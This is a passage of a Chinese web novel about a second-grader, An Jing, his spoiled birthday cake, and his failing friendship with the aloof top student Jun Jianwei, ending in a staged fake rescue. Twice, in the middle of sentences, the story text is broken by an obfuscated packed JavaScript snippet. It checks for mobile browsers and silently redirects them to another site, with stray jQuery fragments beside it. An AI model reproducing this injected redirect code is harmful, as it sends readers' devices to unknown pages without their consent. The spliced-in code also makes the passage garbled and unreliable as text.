他急忙向正在厨房里给他热牛奶的妈妈大声嚷道:“妈妈,你上午就去买蛋糕!买一个大一点的,中午我要带蛋糕给同学吃。” 去了学校后,他又向坐在旁边的几个同学开心地宣布道:“今天是我的生日!” 其实前两天他就跟几个一起玩的同学说过好几次自己今天生日的事,人家听得耳朵都要长茧啦。 同学或高兴或敷衍地向安靖祝贺。 一旁的班长林珍也听到了,在书包里翻了翻,然后递给了他一支没有用过的铅笔:“我不知道今天你生日。这个当生日礼物好了,生日快乐。” 安靖惊讶得睁大了眼睛看向林珍。 他愣愣地接过了人生中第一件由爸爸妈妈以外的人送的生日礼物,还是来自于这样意想不到的人。 心里泛着说不出的小开心,脸上又露出了两个酒窝。 “谢谢,”他有些羞涩地朝林珍道谢,并邀请道,“中午我会提前半小时带蛋糕来学校,你想的话吃记得早点来哦。” 林珍答应了。 得到班长送的惊喜,安靖又觉得班长没那么讨厌了,甚至为从前自己讨厌她而感到有些羞愧。 其实本来从前也是因为自己上课不听讲,讲话做小动作,才被要管班上纪律的班长记名字嘛。 就像君见微记陈子翔的名字一样,都是他们做班长、组长必须做的事情,不能怪班长。而且昨天班长还让大家不要嘲笑龙飞来着。班长明明人很好的。 这一刻,安靖第N次下定决心,自己今后要好好学习,不再违反纪律被班长记了名字,做一个好孩子。 嘿嘿,今天真开心啊! 想到今天收到了礼物,中午还要和同学一起分蛋糕吃,下午放学回家和爸爸妈妈一起吃好吃的,而且自己决定了要努力学习做个懂事的好孩子,安靖心情快乐得要飞出窗外去。 中午在家吃饭时,他还把班长送礼物这事告诉了妈妈,强烈要求妈妈切下一半蛋糕,然后自己两只手端着底下托盘拿去学校给同学吃。 出门前,妈妈还不放心地叮嘱他:“小心点,看着点路,别摔了。” “不会的,”安靖抱着蛋糕头也不回地高声回应道。 然而到了学校后,在途径去往教学楼那几阶向下的楼梯时,他突然脚下一个踩空。 “啪叽”安靖整个人摔趴在地,脸直直砸向了蛋糕外面的盒子,把方方正正的蛋糕盒子直接砸凹了进去。 不仅如此,他的两只膝盖也摔破了,连裤子也摔破出两个洞,露出的膝盖伤口红色的血混着灰渗出来,摔倒时因为双手死死捧着蛋糕结果和地面摩擦的手背还被磨破了皮。 安靖痛得口里直抽气,爬起来揩了揩眼睛里痛出的泪花,然后小心地掀开已经和里面蛋糕贴糊在一起的盒子,看了看里头蛋糕的现状:…… 一脸惨不忍睹地重新盖了上了纸盒。 再看看身遭周围。学校里已经陆陆续续有学生来学校了。 他是一点半钟出的门,路上走得慢,估计现在已经快两点了,两点半就上课,根本来不及回家换那另一半,而且班上说不定现在已经有人等着吃了。 ……没办法了。 当提前来学校吃蛋糕的同学看到安靖这一盘狼藉时,果然纷纷惊叹道:“我的妈呀,你怎么搞成这个样子,这还怎么吃a?” 还有的被这蛋糕的惨样戳中笑点,嘻嘻哈哈笑个不停。 本来就摔得浑身都疼得要命的安靖,这会加上愧疚难过,眼泪都要出来了,一个劲向他们道歉:“对不起对不起……但是蛋糕真的没有掉在地上的,我一直抱在手里,就是盒子被我砸扁了。” 作为女孩子的班长表示了拒绝.不过男孩子们倒是有不少人虽然口上嫌弃,手却毫不在意地接过安靖从书包里掏出来的叉子纸盘,嘻嘻哈哈地从“那摊鬼东西”里头扒了吃。 “安靖,你不吃啊?” “啊,我不吃,你们吃吧。” “你别管他啦,他家里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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头上此时却传来一道声音,如平地惊雷一般把他心脏都吓得猛地一颤:“上课传纸条啊?写的什么?拿上来,我看看。” 明明在板书的数学老师不知何时已经转过了身,正站在讲台上居高临下地盯着他们,向君见微大手一伸。 君见微在心底骂了无数句安靖,把还没看的纸条递了上去。 老师拿着纸条,当即就打开,还一字一顿地向全班同学把上面内容大声念了出来,“你吸——以——喜——喝——乌——安——欢吃什么?”这写的人喜欢两个字不会写,还写的拼音。 全班都笑了。 君见微:…… 老师沉沉的目光望向君见微,严厉地问道:“谁写的?” 君见微尚未吭声。 生怕拖累君见微再次把人惹恼了的安靖立马站起来承认错误:“老师,是我写的,对不起。” 老师把纸条一揉:“哼,上课不听讲,聊这种东西。你站着上课吧。班长记名字。” 安靖再一次“鹤立鸡群”。 原先有时还会趁着老师转身板书时低声讲话的班级,因着老师刚刚朝安靖发作,安静得连翻书和咳嗽的声音都清晰明显。 安靖低着头,手指拨弄着数学书的页角,耳根子又红又烫。 他的眼睛也不敢再到处乱瞄,生怕不小心又看到君见微对被批评的他露出皱眉表情和嫌弃的眼神。 君见微最讨厌不喜欢学习的小朋友了。 站得久了,原本被忽略的膝盖和手上的伤,也渐渐开始不断彰显它的存在感,越来越强烈,刺痛到让安靖忍不住偷偷抖腿握拳的地步。 好像手上也疼起来了,安靖看了一眼手指头,果然看见好几根手指的指关节处也磨破了皮灰扑扑地向外掀起。 唉,好倒霉啊今天…… 好不容易捱到了下课铃响,老师一离开,一直站着的安靖长吁了一口气,他小心缓慢地坐下,腿又酸又痛。 广播里这个时候已经响起了眼保健操的前奏,除了个别急着上厕所的,大家都坐在座位上没出去。 安靖也坐在座位上没动,没好意思去找君见微,他抬起腿,眼睛瞟了一眼自己越发疼痛的两只膝盖。 两边膝盖都已经紫红紫红地肿胀起来,尤其是比较严重的右腿膝盖,伤口上已经冒出了一层青白的脓,又恶心难看。 或许是心理作用,看了膝盖上这副惨样,感觉更痛了。 啊……嘶…… 安靖咬了咬牙,把脑袋埋在了胳膊肘里。 好想妈妈啊,要是妈妈在就好了。 好难受。 15. 你们俩和好了啊? 广播里播放着眼保健操伴奏,悠扬的背景音乐中,女声清晰地唱着“一二三四”。 桌子被敲了敲。 安靖抬起头。 只见君见微站在安靖桌前垂眸看着自己,他竟然没做眼保健操:“医务室的路还记得吗?” 安靖怔怔地看着他,好半天才摇了摇头。 这是君见微除了收作业以外,第一次主动找他说话,安靖喜出望外、受宠若惊。 可是好不容易现在君见微有事找他,安靖却无能为力。 虽然之前因为打架被老师带着去过一躺医务室,但是怎么去安靖早就忘记了。 好像自从认识君见微后,安靖就屡屡发现和烦恼自己有多么蠢。 君见微说道:“跟我来。” 安靖起身,不明原因,懵懵懂懂地跟在君见微后面。 路过坐在讲台上带操的林珍时,君见微俯身低声同林珍说了句:“班长,安靖膝盖有伤,我带他去趟医务室,下节课来晚了的话劳烦你帮忙和老师解释一下。” 林珍点点头,安靖则一脸惊讶地看向君见微。 但是君见微依旧是那副脸上没什么表情的模样。 安靖跟着他出了教室。 二人走在走廊上。君见微的步伐并不像往常他回家时那样匆匆,他信步从容如在散步。 安靖情不自禁地加快脚步上前和君见微并行,侧头看向君见微再一次地问起:“嗯……君见微,你喜欢吃什么呀?我明天给你带好不好?” 君见微又皱起了两撇小眉毛:“我什么也不喜欢。” 不等安靖再问,君见微便有些不耐烦地说道:“好了你别说话了。” 安靖只好闭上了嘴。 在医务室处理完伤口之后,君见微便又带着安靖回了教室。 此时已经有任课老师在上课,两人喊了报告,一前一后到了自己座位上。 安靖同桌小声问安靖:“你们俩和好了啊?” 安靖高兴又得意地说道:“早就和好了~” 他心底开心得直想去操场上两圈,放声高歌,就连手上和腿上的伤都好像没那么痛了。 先前在医务室里,校医阿姨用沾了药水的药水的棉签帮他去脓的时候,比打针还痛!他痛得差点掉眼泪,如果不是君见微在旁边,他肯定哭了。 不,如果君见微不在身边,他肯定跑掉了。 像以前每次生病被妈妈骗去诊所的时候,安靖一发现苗头不对,就直接往外跑,跟妈妈在诊所门外一条街开启田径比赛。 但是君见微一直在旁边陪着自己,他实在不好意思暴露自己胆小鬼怕疼的事实。 膝盖被包扎好后,君见微还问了医生伤好之前不能吃的东西,让安靖记住回去后告诉妈妈。 这样像大人一样解决问题,考虑周到,让安靖心里第N次发出崇拜的声音:君见微真的好聪明,好厉害啊! 下了课后,安靖忍不住又跑去找君见微,他伏在胡争的座位前跟君见微说话:“君见微,放学回去我妈妈会带我上街去买新衣服啦,还会买炸鸡腿……” “你有事吗?”君见微抬起头,又皱了他的眉,问道。 “……”安靖眨巴眨巴眼睛,然后摇了摇头。 君见微又道:“没事就别来找我说话。”随即又低下了头继续看书。 安靖瞥了一眼一旁看热闹的胡争,有些尴尬地走开了,回到了自己的座位上。 君见微大概就是这样热爱学习,不喜欢和朋友聊天,不喜欢做除学习以外的事情的人吧…… 安靖望着正看课外书的君见微,心里默默想道。 不过—— 安靖看向自己被校医处理过的手背和膝盖,明明今天还没吃水果蛋糕,就已经有了一种相同的满足与快乐。 君见微还是很喜欢做他的朋友的。君见微很关心他,在意他的伤口。 安靖认为他今天大概不会更开心了。 但是放学时,当他收拾书包时,又见君见微朝他走了过来。 君见微背着书包,把手里拎着的那一帆布袋东西往他桌子上一放。 “送你的。” 丢下这句话和他的礼物后,便转身酷酷地走了。 帆布袋是白色的,上面印着可爱的小棕熊,封口被魔术贴封住,里面鼓涨地装着方方正正的东西,沉甸甸的。 安靖打开布袋一看,就见里面装着三本辞典,一本比一本厚重。 一本巴掌大的新华字典,一本语文书一样大小版面的,一寸厚的现代汉语词典,以及一本两寸厚的成语词典,全是精装的。 “他送你的生日礼物啊?怎么连句生日快乐也不说呀?”龙飞凑过来看,随即伸手翻了翻成语字典,“天啊,好厚啊!不愧是君见微,居然送你这个。你哪里看得进去啊,还不如送玩具零食……” “我看得进去!”安靖大声地反驳道,眼睛亮亮的,脸上又露出了两个笑涡,别提多灿烂了。他像护住宝贝一样把书都重新放进布袋子里,然后背上书包,费力地拎起这袋书,“走吧。” 龙飞撇撇嘴,我才不信呢。 安靖妈妈也不信。 “买的书倒是好,不过你可别又没几天就给撕了做那些鬼玩意儿,” 她翻了翻这三本书,然后直接翻转到书的封底背面,把三本书的价格算了下,皱起眉为难道,“这加起来在新华书店要卖五六十块呢,怎么收人家这么贵的……” 话没说完,安靖妈妈就愣住了。 这个价格让她突然想起了之前那退回君见微的五十块钱。 不知道这小孩家里人是不是又让小孩用另一种方式把这五十块坚持送过来了…… 一旁望着妈妈的表情生怕妈妈又说送回去的安靖着急地问道:“怎么了?” 妈妈摇了摇头,无奈笑道:“算了,算了,没事。君见微送你礼物时怎么说的?你跟君见微现在又玩得很好吗?” 安靖抱起宝贝的书,得意道:“当然啦!我是君见微最最最最最好的朋友!” 君见微那么关心他伤口,生日还送他这么宝贵的礼物。君见微最喜欢看书了,生日就把自己最喜欢的书送给自己了! 君见微最喜欢认真学习的好孩子,希望自己也能够成为爱学习的好孩子呢。 而且君见微有给其他同学送过礼物吗?没有啦!全班这么多人,就送了他一个人! 他和君见微是天下第一好的好朋友! 安靖是12月末出生的。随着他生日的过去,很快1999年就迈着欢快的步伐离开了,众人迎来了千禧年2000年。 也许是君见微送的书上染了君见微的几分学习上的灵气,生日之后时不时就会把这三本书抱在手里翻阅的安靖,这次期末考试考得很不错,数学上了八十不说,语文竟然拿了九十三分的高分! 安靖妈妈开心得不得了。 之前安靖考试当天她见安靖带回来的草稿纸上全画满了杯子和桃子,还气得骂了安靖一顿,没想到安靖居然考了一个不错的分数。 她照例问道:“你们班上最高分是多少啊?君见微跟龙飞考得怎么样?” 安靖答:“君见微就是班里最高分,语文数学都是一百分,他还得了三好学生。龙飞数学一百,语文九十八,也得到了了三好学生。” 安靖妈妈暗暗感叹了下别人家孩子的聪明,但是傻儿子早就把她对安靖的底线拉得很低了,她摸摸儿子的头:“那你下学期也要继续努力,争取也拿三好学生,妈妈今天买了鸭子,给你做好吃的。” 安靖欢呼了一声,就蹬蹬蹬跑去客厅看电视了。 由于考到了还算不错的成绩,今年过年时安靖还从爸妈那里得到了数额不小的红包,去外婆家吃年夜饭又从众多亲戚那里拿到了一堆红包,全部加起来居然有四五百,赶上爸爸半个月的工资了。 不过晚些时候安靖妈妈就把安靖的红包全收走了—— “妈妈给你保管,留着给你以后大学用。你小孩子也用不了这么多钱,而且要买什么跟妈妈讲,妈妈不都会给你买吗?” 安靖想想似乎的确是这样,就跑去跟表哥表姐们一起放烟花了。 他完全忘记了自己曾经苦苦求着妈妈好久才买下了那个吸铁石文具盒,以及当初在商场里想买电子宠物机时,被拒绝的妈妈连打带骂拖着离开的场景。 春晚还没开始,小孩子们剥着糖果花生瓜子,放着烟花,大人们却是一个接一个地走到电话机前翻着手里的电话簿不断打着电话,向电话那头的朋友和亲人喊新年好。 给语文老师打完拜年电话的妈妈还走过来问了安靖:“崽崽你有没有好朋友家的电话?要不要也给你的好朋友也打个电话啊?” 安靖当即头脑发热,兴奋地从沙发上站起来。 然后才想起,他忘记问同学家的电话号码了。 尤其是君见微家的,他已经忘记好几回 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表盘外面是一个米老鼠形象的盖子,揭开下面那层就是显示24小时制时间数字的电子显示屏。 安靖又是揭开又是盖上地玩个不停,电子屏上秒时数字变换着。 君见微依旧是没有搭理他。 安靖便伏着身体,凑近君见微戴着机械手表的手腕,满眼崇拜地说道:“我本来也想买你一样的表的,不过我还不太会看表,所以买了这种电子手表。君见微你好厉害哦。” “上学期数学课教了看表,你不会只能说明你没有好好学,”君见微有些不耐烦地怼道,“你还有别的事吗?没有就回座位去,不要总是天天聊天。” “我,我会好好学习的啦,”安靖涨红了脸急忙说道。 他还是不愿离开,手也不玩表了,重新找话题。眼神到处乱瞟,然后伸手指向君见微脖子间的一根红线,“哇,君见微你脖子上戴了项链啊?” 君见微飞快捂住了自己脖子处,一脸警惕防备地看着安靖,似乎生怕东西被安靖碰了:“不关你的事!” 安靖没想到君见微那么小心宝贝那个项链,有些尴尬地挠了挠耳朵,突然想起什么,“嗯对了,你吃不吃果冻啊?我妈妈买了好多果冻哦,好多水果味的!好好吃!” 他一边说,一边从兜里掏出两个果冻,一粉一黄,将黄色的果冻揭开包装后,挤出果冻肉来递到君见微脑袋前。 香甜的果冻气味扑鼻而来,挤出来的果冻肉上汁水顺着果冻壳滴落在君见微面前的课本上。 “噢,对不起对不起!”安靖吓得赶紧用自己的袖子去擦。 君见微感觉自己头上有根青筋在不住地抖动。 他至今不知道自己到底哪里吸引了这么个蠢东西,拒绝了八百遍还天天跑来找他,问他吃不吃这个,吃不吃那个,好似非要在这这世上找出一样他爱吃的东西不可! 他把安靖的手抓开,瞪向安靖:“你快走开好不好?我不吃,我都不爱吃,干嘛总是打扰我看书!” 安靖又有些尴尬地挠了挠自己耳朵:“好吧。对不起啊。那等你想吃的时候我给你吃。”唉,君见微哪里都好,就是好爱生气啊。 然后他便和旁边胡争一起把果冻分了。 胡争早就等着这一刻了,经过上一个学期的相处,他早就知道了只有先给君见微分过了,才能轮到他们其他人。甚至有的时候,有些东西只给君见微,君见微不要的话也轮不到别人。 但他也毫不介意,跟安靖一起吃得很开心,吃完之后,二人还把空果冻壳掐起吸在自己的脸上,一边一个,望着对方哈哈大笑。 君见微再没有施与旁人一个眼神,垂头继续专心致志地看自己的书。 周围的同学们打闹嬉笑,追赶尖叫。那些欢乐的声音长了一双翅膀和脚丫,钻出了教室的窗,乘着风飞往碧蓝的天。 后来再回忆起来,或许是因为没发生什么让人印象深刻的新鲜事,也或许是小孩子的记忆力本就薄弱,这半年下学期过得飞快,在遥远泛黄的童年记忆里,化作普通的一捧河水,混在岁月长河里毫无波澜地静静流淌而过。 安靖的记忆力依旧不好,在学期结束放暑假时突然想起自己又再次忘记了向君见微要电话号码。 不过这一次重新开学后,君见微没有再坐在那个教室里等着他冲上来喊“君见微,君见微”了。 16. 君见微!君见微! 安靖才知道上了二年级是要重新分班的,一年级的同班同学不一定还能再同班。 他坐在没有多少熟识同学的班级里,睁着眼睛望着讲台上自我介绍的新老师发怔。失落感让一贯话多的他在这一片刻失语,有了一种无所适从的感觉。 但不过多时,他就恢复了过来。下课后飞快窜出了教室,然后从二年一班开始,一个班一个班地找着往日玩得要好的朋友。 这让他见到了不少被打散了分去别的班的老同学,他高兴地同他们打了招呼,获得了不少惊喜。 而很快,他也找到了君见微。 教室里的人那么多,或立或坐,聊天的,吃零食的,玩游戏的,看书写字的,又吵又乱又杂。君见微坐在他们当中,托着腮直视着前方不知道在想些什么,混在一群萝卜头中并不乍眼。 但是站在门口的安靖只打眼望去,一眼就看见了他。 安靖脸上露出笑,兴奋地向其喊道:“君见微!君见微!”在君见微抬起头看时,赶紧举起手使劲挥了挥。 君见微是做梦也没想到,都已经不在同一个班了,安靖居然还要坚持跑来他面前烦他! 他看了一眼安靖,便赶紧低头假作看书状,并不想理会安靖,希望他能够识趣离开。 但是安靖如果识趣的话,也不会无视君见微的冷落,缠着君见微整整一年了。 他看了看教室里周围正看着自己的君见微同学们,怀着些许忐忑,小心翼翼地踏入了不属于他人的班级领域,然后飞快地跑到了君见微面前。 他的脸上洋溢着满满的喜悦快乐,眼眸明亮:“我找了好几个班才找到你!你知道吗?胡争和林珍在一班……” “你找我有什么事吗?”君见微打断道。 “啊……”安靖眨了眨眼,又扬起笑脸,“我来找你啊,因为我们被分到了不同的班级,我不知道你在哪个班……” “那你现在知道了,还有别的事吗?”君见微皱起眉。 “没有了……”安靖感受到了君见微的低气压,小声道,随即他又问道,“你是不是不开心啊?谁惹你了?” 除了你谁会惹我? 君见微目光直视安靖,给了他一种压迫力:“没有事就回你自己班上,这不是你的班级。” 不知道君见微又怎么不高兴了。 一向不知道怎么哄君见微开心的安靖抿了抿嘴唇,又挠了挠耳朵,只好从兜里掏出两个金币巧克力放在君见微桌子上:“巧克力给你吃,那我走了。” 然后又噔噔噔地跑出了这片不属于他的领域。 回到教室后,和他再次同班的一个老同学一见他问道:“你去哪儿了?刚刚班长要登记身高订购校服,你多高啊?你不在我帮你报了跟我一样的130厘米。” 安靖其实是135厘米,不过差得不多,而且既然都报上去了,他也便随之去,向同学道了谢,然后一脸高兴地说:“我去找君见微啦!你知道他在哪班吗?他在三班!” “啊,你去找君见微干嘛啊?” “不干嘛呀,同他说话。我就想知道他在哪个班。下次可以继续一起玩,”安靖说到这里突然才想起,“啊,我都忘记跟他说我在哪个班了!我等下节课去跟他说。” “你不要去找君见微了,”这学期也与安靖同班,正坐在他前面的潘莹回头说道,“君见微可讨厌你了,根本不想跟你玩的。” “你胡说!”安靖生气地大声反驳。 被否认的潘莹又气又急,还带着点报复心和八卦心爆料道:“谁胡说了?而且君见微根本不想跟你同班才把你们分了两个班的。我听到我妈说的!” 潘莹妈妈就是他们现在的新班主任。 一听这话,老同学也凑了耳朵过来听。 潘莹说道:“君见微让家长特意找了,找了什么,什么主任,反正不是班主任,反正是个领导,然后他就要求不要和安靖同班!我亲耳听我妈说的,她还问我是不是你欺负君见微了。” “我没有!”安靖用力吼着否认。 “你凶我干嘛?是君见微讨厌你好不好?你这么讨厌!活该被君见微讨厌!我也讨厌你!”潘莹嘟着嘴瞪安靖,“哼,之前语文老师把你从君见微身边调开说不定也是君见微找了老师才调开的呢!” “才不是!你胡说!”安靖气得不停地大叫,“君见微才不会那么做的!我和他是好朋友!” “他,他还送我生日礼物呢!他送了我三本书!你有吗?他特别特别喜欢我!他只跟我做朋友!”安靖不断回想着君见微和他从前要好的时光,气得都快要哭了,“肯定是你听错了!” “我没听错!他就是讨厌……” “略略略……”安靖捂住双耳,拼命吐着舌头发出噪音压下潘莹的声音。 潘莹气得张口就哭了。 安靖尽管一直否认,但是心中那种恐慌和酸楚疼痛就像积满了水的海绵塞在他胸口,鼓胀又沉重。 坐立不安的他在一下课就又跑去了君见微的班级。 “君见微!”他站在君见微教室门口对君见微大声喊道。 君见微皱眉欲不理,谁料安靖却是脸上带着焦急朝他招招手,“你出来一下好吗?” 君见微便出去了。 他最好是真的有什么要紧事,君见微心烦地想道。 安靖将君见微拉到走廊一个人稍微少一点的地方,心怀忐忑,脸上又虚张声势地故作出一副气呼呼的模样说道,“你知道吗?潘莹她居然说咱们俩不在一个班,是因为你不想跟我同班,找了学校领导把我们分开了。你说好不好笑啊?哈哈哈哈真是笑死我了……才不是那样对不对?她居然撒谎骗人,不是诚实的好孩子。” 他的演技并不好,生气和大笑的表情又夸张又做作,眼神里带着藏不住的紧张,眸子不断偷瞄君见微的反应。 君见微没有笑,他平静地看着安靖自顾自说完这些后,然后深吸了一口气,说道:“潘莹没有撒谎。是我托阿姨找了学校领导,让分班的时候不要把我和你分在一个班里的。” 不等安靖嘴唇颤抖地问出为什么,君见微就回答了:“我真的不想和你做朋友,而且你老是来找我说话。其实我一直都觉得你很烦很讨厌。” 君见微的眉头微微皱着,配合他的话语充分表达着安靖给他带来多少困扰。 安靖因为愤怒和伤心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142093|164526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小胸膛起伏个不停,他的鼻子里粗喘着气,眼睛死死盯着君见微。 安靖从前最喜欢君见微这副永远冷静理智地说话的模样,每次都觉得君见微很聪明,不管说什么,都是值得让人信服的至理名言。 可是这一回,他自己成为了君见微口中言语化为的利剑所刺伤的对象。安靖第一次发觉君见微这副姿态其实有多么令人抵触和生厌。 君见微对安靖满脸的羞恼和受伤视而不见,他冷漠地说道:“所以,以后请你不要再来找我了。我不想跟你做朋友,不想跟你一起玩。” 安靖全程死死瞪着君见微,倏然就像一头小牛犊一样鼻子粗喘着朝君见微冲撞了过去,一个头槌猛顶向君见微的腹部! “啊!”君见微被安靖撞得摔到在地,他捂着腹部咬牙忍痛,抬头去瞪安靖,“你干什……” 却见安靖眼睛红红,满脸伤心望着自己。 他带着哭腔大声朝君见微道:“我再也不要跟你玩了!谁稀罕啊!我最讨厌你了!!” 然后使劲抹了把眼睛,转身一边哭一边噔噔噔跑了。 君见微用手撑地,狼狈地爬了起来,拍了拍身上的灰尘,无视周围同学投来的好奇八卦目光和讨论,慢慢走回了教室。 终于摆脱了安靖。 这一次,安靖绝对不会再来找自己了。 遂愿了,应该开心才是,可是这一刻君见微却没有几分喜悦。 也许是摔得太丢人,太痛了。 安靖果然很讨厌,不管是两人第一次相识,还是如今绝交,都要让他众目之下丢人。 接下来几天安靖果然都没来找安靖了。 偶然在走廊上和君见微狭路相逢,他就翻着白眼扭过头去,发出一声做作又响亮的“哼”! 似乎一副压根不想见到君见微的模样。 有的时候离开教室出校门时,二人一前一后同样的方向,安靖就快步跑到君见微面前去,然后再对着君见微表演他那夸张的扭头哼,以示自己的厌恶,然后再噔噔噔跑开。 但是君见微都不理会他。 这让安靖心里特别难受,回家告诉妈妈后,把安靖妈妈气得不行:“人家都说了不愿跟你玩,你干嘛还非要热脸贴人家冷屁股!前几天你不是还气得要死,跟我说以后再也不跟人家玩了吗?哦,这下又难受了?贱得慌啊?!你不准再去找人家了听到没?这么多好朋友,你就缺他一个啊?我要不是看着那个书对你有用,我xx地早就把他那个小xx送的那几本书给撕了扔到垃圾桶里去!” 安靖吓得赶紧说:“你不要撕!妈妈!很浪费的!” 他也再不敢跟妈妈说君见微的事了。 朋友有那么多,换作其他人和安靖吵架不愿意往来后,安靖也不会有这么难过。 好比从前天天和他一起回家的龙飞,两个人二年级不在一个班以后,就默认不再继续每天一起回家了,安靖改和另外一个同班的小朋友一起走。他俩之间的友谊也随之淡化。 可是,君见微好像是特别的。安靖朋友里再没有像君见微这样的小朋友,又聪明又可爱,无论做什么都那么优秀,那么闪闪发光,何时都吸引着他的目光。 17. 英雄救美 吵架不要紧,后面总会和好的。——这是安靖的家庭耳濡目染教给安靖的。 安靖的爸爸妈妈都是暴脾气,但是很宠爱安靖。每次打骂安靖后,如果安靖心里不服气,一直不理会爸爸妈妈的话,爸爸妈妈会用自己的方式向安靖低头。 爸爸是个标准的大男子主义者,好面子,不会直接说出低头的话。 但是妈妈会主动去抓着安靖的手,蹲下身眼睛正视着安靖说:“崽崽不要和妈妈吵架了,妈妈心里好难受的,妈妈给你道歉,我们和好,和好好不好?” 而和君见微绝交这么长一段时间,怎么还不见君见微来跟他和好啊?不会忘记两个人吵架的事情了吧? 他心里可难受了呢。 还是说,自己每天故意在君见微面前表现出讨厌他的样子,也让君见微心里以为自己真的不想和他和好了? 安靖在回家的路上没精打采地踢着石子。 可是要安靖去主动跟君见微说愿意和好,安靖又拉不下面子,一时间陷入了左右为难。 每周一一度的升国旗,国歌奏响全校上空。 安靖和老师同学们一起望着伴随国歌被升旗手拉动滑轮绳子升上去的鲜红国旗,对其行注目礼。 不过这其中还有戴着红领巾的学生是行少先队礼。他们成绩优秀,所以一年级就评为了少先队员,好比君见微。 想到君见微,安靖心里又是一阵难过。 但是和好之事一直被这么拖着,迟迟未有任何动作。 国歌将近结束,国旗距离旗杆子还有好一段距离。升旗手开始加快了拉绳的动作。 每回都这样,要么国旗早早升至了顶端,国歌还在唱着;要么国歌都放完了,国旗还慢悠悠地在众人注视中冲击终点。 一直在想着和好之事的安靖望着国旗,脑海里突然冒出了一个强逼自己做下决定的方式—— 如果国歌播放完毕,国旗还没有升到顶端,那他就去找君见微主动和好; 如果国歌还没放完,国旗却早早升上去了,他就暗示君见微自己愿意原谅他了,让他来和自己和好; 而如果刚刚好国旗和国歌同步到达,他们就不和好。 老天爷呀,我到底要怎么做,一切就交给您决定了! 安靖心里紧张地如是大喊道,他的眼睛死死盯着国旗。 “……前进,前进,前进进!” 国歌极有气势地唱到最后一个音时,国旗也在最后一段距离直冲顶端! 仿佛能听到国旗的旗杆与升旗柱撞上时发出的一声铿锵之音恰逢其实地与国歌最后那个“进”字音合在一起,叫人热血沸腾。 升旗台上升旗手望着头顶上的那面红旗露出笑来,似乎也为这难得的完美升旗而高兴。 但是安靖却傻眼了。 先,先前自己对老天是怎么做下赌约的来着?好像是,如果升旗升得刚刚好,就,不和好…… 不和好…… 真的要不和好吗? 安靖瞠大着眼睛,傻愣愣地望着国旗。 老天爷啊!您真的觉得我们不和好比较好吗?为什么啊?!难道我们做好朋友的话会毁灭世界吗?!凭什么不让啊!!您这也太残忍太不讲道理了吧!! 一直到国旗下的讲话完毕后,安靖才回过了神,心情复杂而沉重地抬起脚步,跟着人潮流动回教室。 他不该让老天爷来决定这件事的。 安靖想道。 世界上又根本没有老天爷,这都是封建迷信。老师说得对,他们要相信科学。 科学是什么呢?科学就是,好朋友吵架了应该要和好! 早读课下了以后,安靖就和同桌还有其他几个要好的同学商量起来。 “你想他主动跟你和好是吗?”同桌问道。 安靖点点头。他也是好面子的,不想主动去找君见微,而且要是再被拒绝,那就太丢人了。 同桌也不过才七岁,比安靖还小一岁,他也只看过一些动画片,跟着大人看过一些武侠连续剧,于是以他的阅历提出了一个主意:“那就只有使出‘英雄救美’这一绝招了!” “英雄救美?”安靖和其他小朋友齐齐喊出。 “对啊,你可以先找人去欺负他,然后你再跳出来帮他,这样他就会特别感谢你!电视里,人家女人都要对男人以身相许,嫁给他的!” 旁边小朋友“哇”了一声。 安靖听着这招数,觉得有点熟悉,猛然想起去年一年级时他也是和君见微吵架,然后君见微被陈子翔欺负,他出手救了君见微,君见微后来就跟他和好了。 这就是英雄救美啊,原来他不知不觉中已经用过了,而且相当奏效! 思及此,安靖朝同桌竖起大拇指:“好!好一招英雄救美啊!高!实在是高!在下佩服!” 同桌抬起骄傲的小下巴,学着电视剧里那些军师用手不断捋着压根不存在的胡子,谦虚道:“过奖,过奖。” 前座围观到这一幕的潘莹:…… 男生果然都是笨蛋啊。 君见微面无表情地把抽屉里那张写有“攵方学后##daocaochang上来,不来京尢杀了你”的字条揉成一团,扔进了垃圾桶。 这字迹君见微熟得不得了,正是安靖那一手丑字! 安靖是脑袋被门夹过吗?!阴魂不散!烦都烦死了! 当君见微走出校门,离开了热闹的校门前店铺小摊,走到大道上时,一直在他身后以拙劣的跟踪技巧偷偷随行的几个小朋友终于冲了上来。 他们齐齐将君见微的两只胳膊和书包抓住了,凶神恶煞地威胁道:“不准动!小子,叫你去操场居然还敢不去,哼!把你身上值钱的东西都交出来!” “就是就是!小子你好大的胆子!知道我们老大是谁吗?香港澎湖湾扛把子!” 经过的路人:“……噗!” 几个挟持君见微的小朋友不明所以地朝那路人看了一眼,又把视线转回了君见微身上。发现君见微丝毫不见害怕,脸上一双死鱼眼,面无表情。 一时间小朋友们都有些不知道如何进行下去,又有些怕到时候路人报警,僵持之下各种胡思乱想让他们咽了咽口水。 其中一个小朋友喊道:“今天不打你你是不见棺材不落泪了!兄弟们,给我打!” 这话刚刚喊出,就听凭空一声怒吼“住手!!!” “哇呀呀呀呀——”只见安靖举着塑料金箍棒不知道从哪里突然窜出,朝着他们冲过来,“光天化日之下,你们居然敢强抢民女,民、民男!真是好大胆子!吃俺老孙一棒!!!” “啊!!!是安靖安大侠!他武功高强!我们打不过的!大家快跑啊!” 挟持君见微的小朋友们脸上变色,急忙放开君见微,迅速逃离现场,一边跑一边喊着,“安靖你给我记住!!我们不会放过你的!” 安靖气喘吁吁地跑到君见微面前:“呼,呼,你没事吧?” 他朝君见微露出笑脸来:“有我在,没人敢欺负你的!” “你装什么呀?!”君见微伸手推了他一把,一脸厌恶与不耐烦地说道,“你把我当傻瓜骗吗?表演得那么蠢,那么差劲,我早就看出来了!弄虚作假,装模作样,真讨厌。你到底想干嘛?!” 